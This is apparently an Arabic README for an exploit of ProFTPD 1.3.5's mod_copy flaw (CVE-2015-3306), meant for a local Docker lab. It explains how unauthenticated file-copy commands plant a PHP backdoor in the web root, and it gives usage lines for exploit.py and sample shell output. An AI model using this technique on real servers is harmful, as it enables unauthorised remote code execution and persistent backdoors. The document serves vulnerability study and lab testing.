
ProFTPd 1.3.5 - (mod_copy) استغلال تنفيذ الأوامر عن بُعد وحاوية ضعيفة
ProFTPD هو خادم FTP عالي التهيئة لأنظمة التشغيل Unix وما يشابهها. نشأ ProFTPD من الرغبة في وجود خادم FTP آمن وقابل للتهيئة. كان مستوحى من إعجاب كبير بخادم الويب Apache. على عكس معظم خوادم FTP الأخرى في Unix، فهو ليس مشتقًا من قاعدة شفرة ftpd القديمة لنظام BSD، بل هو تصميم وتنفيذ جديد تمامًا.
لإعداد بيئة قابلة للاختراق لاختبارك، ستحتاج إلى تثبيت Docker، ثم قم بتشغيل الأمر التالي:
docker build -t vuln/cve-2015-3306 .
docker run --rm -it -p 21:21 -p 80:80 vuln/cve-2015-3306
وسيقوم بتشغيل تطبيق قابل للاختراق على مضيفك على المنفذين 21 و 80
تسمح وحدة mod_copy في ProFTPD 1.3.5 للمهاجمين عن بُعد بقراءة وكتابة ملفات عشوائية عبر أوامر site cpfr و site cpto.
يمكن لأي عميل غير مصادق عليه استغلال هذه الأوامر لنسخ الملفات من أي جزء من نظام الملفات إلى وجهة مختارة. يتم تنفيذ أوامر النسخ بحقوق خدمة ProFTPD، والتي تعمل افتراضيًا بامتيازات المستخدم 'nobody'. باستخدام /proc/self/cmdline لنسخ حمولة PHP إلى دليل موقع الويب، يمكن تنفيذ كود PHP عن بُعد.
لاستغلال هذا الهدف، قم بتشغيل:
./exploit.py --host HOST --port PORT --path PATH
إذا كنت تستخدم هذه الصورة القابلة للاختراق، يمكنك تشغيل:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
بعد الاستغلال، سيتم تخزين ملف يسمى backdoor.php في المجلد الجذر لدليل الويب. وسيمنحك الاستغلال شل حيث يمكنك إرسال الأوامر إلى الباب الخلفي:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 127.0.0.1:21
[+] Target exploited, acessing shell at http://127.0.0.1/backdoor.php
[+] Running whoami: www-data
[+] Done
تم العثور على هذه الثغرة بواسطة Vadim Melihow.
هذا البرنامج أو البرامج السابقة هي للأغراض التعليمية فقط. لا تستخدمه بدون إذن. ينطبق إخلاء المسؤولية المعتاد، خاصة حقيقة أنني (t0kx) لست مسؤولًا عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف المقدمة من هذه البرامج. لا يتحمل المؤلف أو أي مزود إنترنت أي مسؤولية عن المحتوى أو سوء استخدام هذه البرامج أو أي مشتقات منها. باستخدام هذه البرامج فإنك تقبل حقيقة أن أي ضرر (فقدان بيانات، تعطل النظام، اختراق النظام، إلخ) ناتج عن استخدام هذه البرامج ليس من مسؤولية t0kx.